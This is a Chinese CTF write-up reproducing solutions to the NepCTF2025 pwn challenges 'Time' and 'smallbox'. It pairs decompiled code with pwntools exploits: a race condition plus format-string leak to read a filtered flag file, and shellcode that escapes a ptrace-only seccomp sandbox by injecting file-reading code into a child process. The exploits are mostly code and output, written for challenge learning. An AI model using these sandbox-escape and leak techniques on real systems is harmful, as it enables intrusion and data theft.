NepCTF2025-部分pwn的wp(复现)

参考blog(https://bbs.kanxue.com/thread-287806.htm#msg_header_h3_0)

Time

mian

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
pthread_t newthread[2]; // [rsp+0h] [rbp-10h] BYREF

newthread[1] = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
sub_2A31();
while ( 1 )
{
while ( !(unsigned int)sub_2B0F() )
;
pthread_create(newthread, 0LL, start_routine, 0LL);
}
}

sub_2A31()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unsigned __int64 sub_2A31()
{
char *argv[5]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v2; // [rsp+38h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("please input your name:");
__isoc99_scanf("%100s", byte_50A0);
puts("I will tell you all file names in the current directory!");
argv[0] = "/bin/ls";
argv[1] = "/";
argv[2] = "-al";
argv[3] = 0LL;
if ( !fork() )
execve("/bin/ls", argv, 0LL);
wait(0LL);
puts("good luck :-)");
return v2 - __readfsqword(0x28u);
}

sub_2B0F

1
2
3
4
5
6
7
8
9
__int64 sub_2B0F()
{
puts("input file name you want to read:");
__isoc99_scanf("%s", file);
if ( !strstr(file, "flag") )
return 1LL;
puts("flag is not allowed!");
return 0LL;
}

start_routine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
unsigned __int64 __fastcall start_routine(void *a1)
{
unsigned int v1; // eax
int i; // [rsp+4h] [rbp-46Ch]
int j; // [rsp+8h] [rbp-468h]
int fd; // [rsp+Ch] [rbp-464h]
char v6[96]; // [rsp+10h] [rbp-460h] BYREF
char v7[16]; // [rsp+70h] [rbp-400h] BYREF
char buf[1000]; // [rsp+80h] [rbp-3F0h] BYREF
unsigned __int64 v9; // [rsp+468h] [rbp-8h]

v9 = __readfsqword(0x28u);
sub_1329(v6);
v1 = strlen(file);
sub_1379(v6, file, v1);
sub_14CB(v6, v7);
puts("I will tell you last file name content in md5:");
for ( i = 0; i <= 15; ++i )
printf("%02X", (unsigned __int8)v7[i]);
putchar(10);
for ( j = 0; j <= 999; ++j )
buf[j] = 0;
fd = open(file, 0);
if ( fd >= 0 )
{
read(fd, buf, 0x3E8uLL);
close(fd);
printf("hello ");
printf(byte_50A0);
puts(" ,your file read done!");
}
else
{
puts("file not found!");
}
return v9 - __readfsqword(0x28u);
}

这里在start_routine的printf(byte_50A0);有格式化字符串漏洞很明显我们要把读入的flag通过的格式化字符串泄露出来。

可是在sub_2B0F读入的文件名对flag进行了过滤。这里就要了解一下进程和线程的关系了。

线程与进程的基本关系(复习)

  • 进程(Process):操作系统资源分配的基本单位。每个进程拥有独立的内存空间、文件描述符、环境变量等。进程之间相互隔离,通信需要通过 IPC(如管道、消息队列)。
  • 线程(Thread):进程内的执行单元(轻量级进程)。多个线程共享同一进程的资源(如内存、文件描述符),但每个线程有自己的栈、寄存器和程序计数器。线程切换开销小,适合并发任务。

线程竞争(Race Condition)的定义和原因

  • 定义:当多个线程同时读写共享资源(如 filename),且没有同步机制(如锁)时,程序的执行结果依赖于线程调度的时序,导致不一致或错误。
1
2
3
4
5
6
7
8
9
时间   事件
---- ----
t0 用户输入 "temp.txt" → main 线程设置 filename = "temp.txt"
t1 main 启动 work 线程
t2 work 线程开始 MD5 计算(耗时操作,持续到 t2+100ms)
↳ 在此期间,main 线程被挂起(open 延迟)
t2+50ms 用户输入 "flag" → main 线程设置 filename = "flag"(覆盖)
t2+100ms work 线程完成 MD5 计算
t2+101ms main 线程恢复,执行 open(filename) → 打开 "flag" 文件

再用格式化字符串泄露flag

1
hello aaaa0x71a74c1fe8a0(nil)(nil)0x6(nil)0x10000000000x3000003e80x2000x36c63f9b4b69cc070x2bc422698ba00f710x80656d6974(nil)(nil)(nil)(nil)(nil)(nil)0x20(nil)0x36c63f9b4b69cc070x2bc422698ba00f710x10102464c457f(nil)0x1003e00030x12400x400x41980x380040000000000x1c001d0040000d0x4000000060x400x400x400x2d80x2d80x80x4000000030x318 ,your file read done!

把16进制

1
0x80656d6974 ---> time

来算一下它在那个位置

1
2
hello aaaa
0x71a74c1fe8a0 (nil (nil) 0x6 (nil) 0x1000000000 0x3000003e8 0x200 0x36c63f9b4b69cc07 0x2bc422698ba00f71 0x80656d6974 (nil) (nil) (nil) (nil) (nil) (nil) 0x20 (nil) 0x36c63f9b4b69cc07 0x2bc422698ba00f71 0x10102464c457f (nil) 0x1003e0003 0x1240 0x40 0x4198 0x38004000000000 0x1c001d0040000d 0x400000006 0x40 0x40 0x40 0x2d8 0x2d8 0x8 0x400000003 0x318 ,your file read done!

文件在12的位置,但是我们不知道内容在什么位置,我在本地创建一个fake:aaaa来算一下

1
2
3
hello aaaa
0x7264a8ffe8a0 (nil) (nil) 0x6 (nil) 0x1000000000 0x3000003e8 0x200 0x9c9604acef9d4c14 0x94a18eaaefd8fa7b 0x80656b6166 (nil) (nil) (nil) (nil) (nil) (nil) 0x20 (nil) 0x9c9604acef9d4c14 0x94a18eaaefd8fa7b 0xa61616161 (nil) (nil) (nil) (nil) (nil) (nil)
(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil)(nil) ,your file read done!

在22的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

# 配置远程连接参数
HOST = "nepctf32-1ris-vabv-sri2-p9kvlhq2i224.nepctf.com"
PORT = 443

# 初始化连接
io = remote(HOST, PORT, ssl=True, sni=HOST)
context.log_level = 'debug'

# 构造格式字符串漏洞利用负载
leak_payload = f"%{12+9}$p" # 起始地址
for i in range(0x10):
leak_payload += f"-%{13+9+i}$p" # 连续泄露后续16个地址

# 发送名称触发漏洞
io.sendlineafter(b"please input your name:\n", leak_payload.encode())

# 分阶段读取文件
io.sendlineafter(b"input file name you want to read:\n", b"time")
io.sendlineafter(b"input file name you want to read:\n", b"flag")

# 进入交互模式
io.interactive()

理论上是可以的但是没通,实际上也是可以的,因为别的师傅打出来,我没复现出来。

原作者的exp(https://bbs.kanxue.com/thread-287806.htm#msg_header_h3_0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
#io=process('./pwn')
context.log_level='debug'
io=remote("nepctf32-1ris-vabv-sri2-p9kvlhq2i224.nepctf.com",443,ssl=True,sni="nepctf32-1ris-vabv-sri2-p9kvlhq2i224.nepctf.com")
def bug():
gdb.attach(io)
name=f"%{12+9}$p".encode()
for i in range(0x10):
name+=f"-%{13+9+i}$p".encode()
io.sendlineafter(b"please input your name:\n",name)
file=b"time"
io.sendlineafter(b"input file name you want to read:\n",file)
io.sendlineafter(b"input file name you want to read:\n",b"flag")

io.interactive()

官方exp

1
2
3
4
5
6
7
8
9
from pwn import *
context.log_level='debug'
p = process("./time")
p.sendlineafter(b'name:\n',
b'%28$p.%27$p.%26$p.%25$p.%24$p.%23$p.%22$p.%21$p.%20$p')
p.sendline(b'a'*1000000)
p.sendline(b'./flag')
p.recvall()
p.close()

smallbox

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int __fastcall main(int argc, const char **argv, const char **envp)
{
__pid_t v4; // [rsp+4h] [rbp-Ch]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
if ( mmap((void *)0xDEADC0DE000LL, 0x1000uLL, 7, 50, -1, 0LL) == (void *)0xDEADC0DE000LL )
{
puts("[+] please input your shellcode: ");
v4 = fork();
if ( v4 < 0 )
{
perror("fork");
exit(1);
}
if ( !v4 )
{
while ( 1 )
;
}
read(0, (void *)0xDEADC0DE000LL, 0x1000uLL);
install_seccomp();
MEMORY[0xDEADC0DE000](); //执行shellcode
return 0;
}
else
{
perror("mmap");
return 1;
}
}

在这里我们可以看到父线程开启了sandbox的保护,子进程没有但是子进程是个无限循环。

1
mmap((void *)0xDEADC0DE000LL, 0x1000uLL, 7, 50, -1, 0LL) == (void *)0xDEADC0DE000LL 

在0xDEADC0DE000上创建了RWX(可读,可写,可执行)

1
2
3
4
5
6
7
8
9
$ echo -ne "expected_input" | seccomp-tools dump ./smallbox
[+] please input your shellcode:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0003
0002: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0003: 0x06 0x00 0x00 0x00000000 return KILL

只能用ptrace

所以攻击思路就是在子进程里用ORW,在到父进程执行,具体怎么绕过无限循环能先看exp(大佬原创的,我纯黏贴)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *
#io=process('./pwn')
io=remote("nepctf32-infg-wkc9-bblj-arh6h95nc659.nepctf.com",443,ssl=True,sni="nepctf32-infg-wkc9-bblj-arh6h95nc659.nepctf.com")
context.arch='amd64'
context.log_level='debug'
def bug():
gdb.attach(io,"b read")
io.recvuntil(b"[+] please input your shellcode: ")
shellcode =asm("mov r14d, DWORD PTR [rbp-0xc]")
print("已获得子进程pid")
"""orw
0xdeadc0de000: 0x010101010101b848 0x672e2fb848500101
0xdeadc0de010: 0x043148010166606d 0xf631d231e7894824
0xdeadc0de020: 0x01ba41050f58026a 0x0301f28141010102
0xdeadc0de030: 0x6ad2315f016a0101 0x00050f58286a5e03
"""
shellcode+=asm(shellcraft.ptrace(16,"r14"))
shellcode+=asm('''
mov rcx,0x500000000
loop:
sub rcx,1
test rcx,rcx
jnz loop
''')
print("进程附加成功")
shellcode+=asm(shellcraft.ptrace(12,"r14",0,0xDEADC0DE000+0x500))
shellcode+=asm("mov rsp,0xDEADC0DE588;mov rax, 0xDEADC0DE000;push rax;mov rsp,0xDEADC0DE800")
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000,0x010101010101b848))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+8,0x672e2fb848500101))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x10,0x043148010166606d))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x18,0xf631d231e7894824))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x20,0x01ba41050f58026a))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x28,0x0301f28141010102))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x30,0x6ad2315f016a0101))
shellcode+=asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000+0x38,0x00050f58286a5e03))
#================================================================================================================
shellcode+=asm(shellcraft.ptrace(13,"r14",0,0xDEADC0DE000+0x500))
#================================================================================================================
shellcode+=asm(shellcraft.ptrace(17,"r14", 0, 0))
shellcode+=asm("jmp $")
io.send(shellcode)
io.interactive()

ptrace请求类型详解

  1. PTRACE_ATTACH (16)
1
asm(shellcraft.ptrace(16, "r14"))
  • 作用:将当前进程附加到目标进程作为调试器
  • 参数
    • r14:目标进程PID(子进程)
  • 效果
    • 使子进程进入暂停状态(相当于发送SIGSTOP)
    • 父进程成为子进程的调试器,可以完全控制子进程
  • 系统调用号__NR_ptrace = 101,请求类型为16
  1. PTRACE_GETREGS (12)
1
asm(shellcraft.ptrace(12, "r14", 0, 0xDEADC0DE000+0x500))
  • 作用:获取目标进程的寄存器状态
  • 参数
    • r14:目标进程PID
    • 0:忽略参数
    • 0xDEADC0DE500:寄存器数据存储位置
  • 效果
    • 将子进程的所有寄存器值复制到0xDEADC0DE500位置
    • 结构体大小为sizeof(user_regs_struct) = 216字节
  • 目的:为后续修改寄存器做准备
  1. PTRACE_POKETEXT (5)
1
asm(shellcraft.ptrace(5, "r14", 0xDEADC0DE000, 0x010101010101b848))
  • 作用:向目标进程内存写入数据
  • 参数
    • r14:目标进程PID
    • 0xDEADC0DE000:写入地址
    • 0x010101010101b848:写入的8字节数据
  • 关键特性
    • 每次调用只能写入8字节数据
    • 需要多次调用写入完整shellcode

4.PTRACE_SETREGS (13)

1
asm(shellcraft.ptrace(13, "r14", 0, 0xDEADC0DE000+0x500))
  • 作用:设置目标进程的寄存器状态
  • 参数
    • r14:目标进程PID
    • 0:忽略参数
    • 0xDEADC0DE500:寄存器数据来源位置
  • 效果
    • 0xDEADC0DE500处的寄存器数据恢复到子进程
    • 关键点:虽然恢复了寄存器,但此时子进程的代码已被覆盖
  1. PTRACE_DETACH (17)

python

1
asm(shellcraft.ptrace(17, "r14", 0, 0))
  • 作用:分离调试器与目标进程
  • 参数
    • r14:目标进程PID
    • 0:忽略参数
    • 0:发送给子进程的信号(0表示无信号)
  • 效果
    • 子进程恢复执行
    • 父进程不再控制子进程

阶段1: 附加和控制子进程

  1. PTRACE_ATTACH(16)

    • 父进程附加到子进程
    • 子进程暂停执行
  2. 延时循环

    1
    2
    3
    4
    mov rcx,0x500000000
    loop:
    sub rcx,1
    jnz loop
    • 目的:确保附加操作完成(替代waitpid)
    • 原理:给内核时间处理附加请求

阶段2: 准备内存操作

  1. PTRACE_GETREGS(12)

    • 保存子进程当前寄存器状态
    • 存储到共享内存的0x500偏移处
  2. 调整父进程栈指针

    asm

    1
    2
    3
    4
    mov rsp,0xDEADC0DE588
    mov rax, 0xDEADC0DE000
    push rax
    mov rsp,0xDEADC0DE800
    • 目的:避免后续操作破坏父进程栈
    • 将栈移到共享内存的安全区域

阶段3: 注入恶意代码

  1. 8次PTRACE_POKETEXT(5)调用

    • 向子进程内存写入64字节ORW shellcode

    • 覆盖子进程原来的循环代码:

      asm

      1
      2
      3
      4
      5
      6
      ; 原始代码 (被覆盖)
      while(1):
      jmp $ ; 机器码: EB FE

      ; 覆盖后代码
      movabs rax,0x101010101010101 ; 新指令

阶段4: 恢复执行

  1. PTRACE_SETREGS(13)
    • “恢复”子进程寄存器
    • 实际效果:RIP仍指向被覆盖的代码区域
  2. PTRACE_DETACH(17)
    • 分离父进程和子进程
    • 子进程从当前RIP开始执行(即ORW shellcode)

阶段5: 维持进程

  1. 父进程挂起

    asm

    1
    jmp $   ; 无限循环
    • 防止父进程退出导致程序终止
    • 保持子进程继续运行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
0xDEADC0DE000:
; 设置文件路径 "flag"
mov rax, 0x67616c662f2e ; "./flag"
push rax

; 系统调用序列
mov rdi, rsp ; 文件路径指针
xor esi, esi ; O_RDONLY (0)
xor eax, eax ; 清空RAX
mov al, 2 ; syscall号: open=2
syscall ; 调用open("flag")

; 读取文件内容
mov rdi, rax ; 文件描述符
mov rsi, rsp ; 缓冲区地址
mov rdx, 0x100 ; 读取长度
xor eax, eax ; syscall号: read=0
syscall ; 调用read()

; 输出到标准输出
mov rdi, 1 ; 文件描述符: stdout=1
mov rsi, rsp ; 缓冲区地址
mov rdx, rax ; 实际读取长度
mov al, 1 ; syscall号: write=1
syscall ; 调用write()

; 退出
mov al, 60 ; syscall号: exit=60
syscall

我就了解到这里了,还是太菜,多学吧wuuu~~~

官方exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
context.arch='amd64'
p=process('./smallbox')
# p=remote('127.0.0.1',9999)
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
PTRACE_POKETEXT = 4
PTRACE_POKEDATA = 4

injected_shellcode=shellcraft.open("/flag.txt",0)+'''
mov rax,0
mov rdi,3
mov rsi,rsp
mov rdx,0x30
syscall

mov rax,1
mov rdi,1
mov rsi,rsp
mov rdx,0x30
syscall
'''

injected_shellcode=asm(injected_shellcode)

shellcode=f'''
push rdx
/* ptrace(request=0x10, vararg_0=pid, vararg_1=0, vararg_2=0) */
xor r10d, r10d /* 0 */
push {PTRACE_ATTACH}
pop rdi
xor edx, edx /* 0 */
mov esi, [rsp+0x14]
/* call ptrace() */
push SYS_ptrace /* 0x65 */
pop rax
syscall
/* ptrace(request=0xc, vararg_0=pid vararg_1=0x0, vararg_2=shellcode+0x800) */
pop r10
push r10
add r10,0x800
push {PTRACE_GETREGS}
pop rdi
xor edx,edx
mov esi, [rsp+0x14]
/* call ptrace() */
push SYS_ptrace /* 0x65 */
pop rax
syscall

pop rdx
push rdx
add rdx,0x880
mov rdx,[rdx]
push rdx

mov rbx,0
loop:
/* ptrace(request=0xc, vararg_0=pid vararg_1=rip+i, vararg_2=[shellcode+i+0x200]) */
push {PTRACE_POKETEXT}
pop rdi
pop rdx
pop r10
push r10
push rdx
add rdx,rbx
mov r10,[r10+rbx+0x200]
mov esi, [rsp+0x1C]
/* call ptrace() */
push SYS_ptrace /* 0x65 */
pop rax
syscall
add rbx,8
cmp rbx,0x100
jle loop

/* ptrace(request=0x10, vararg_0=pid, vararg_1=0, vararg_2=0) */
xor r10d, r10d /* 0 */
push {PTRACE_DETACH}
pop rdi
xor edx, edx /* 0 */
mov esi, [rsp+0x1C]
/* call ptrace() */
push SYS_ptrace /* 0x65 */
pop rax
syscall
'''
shellcode=asm(shellcode).ljust(0x200,b'\x00')+injected_shellcode
#gdb.attach(p)
p.sendafter('shellcode:',shellcode)
p.interactive()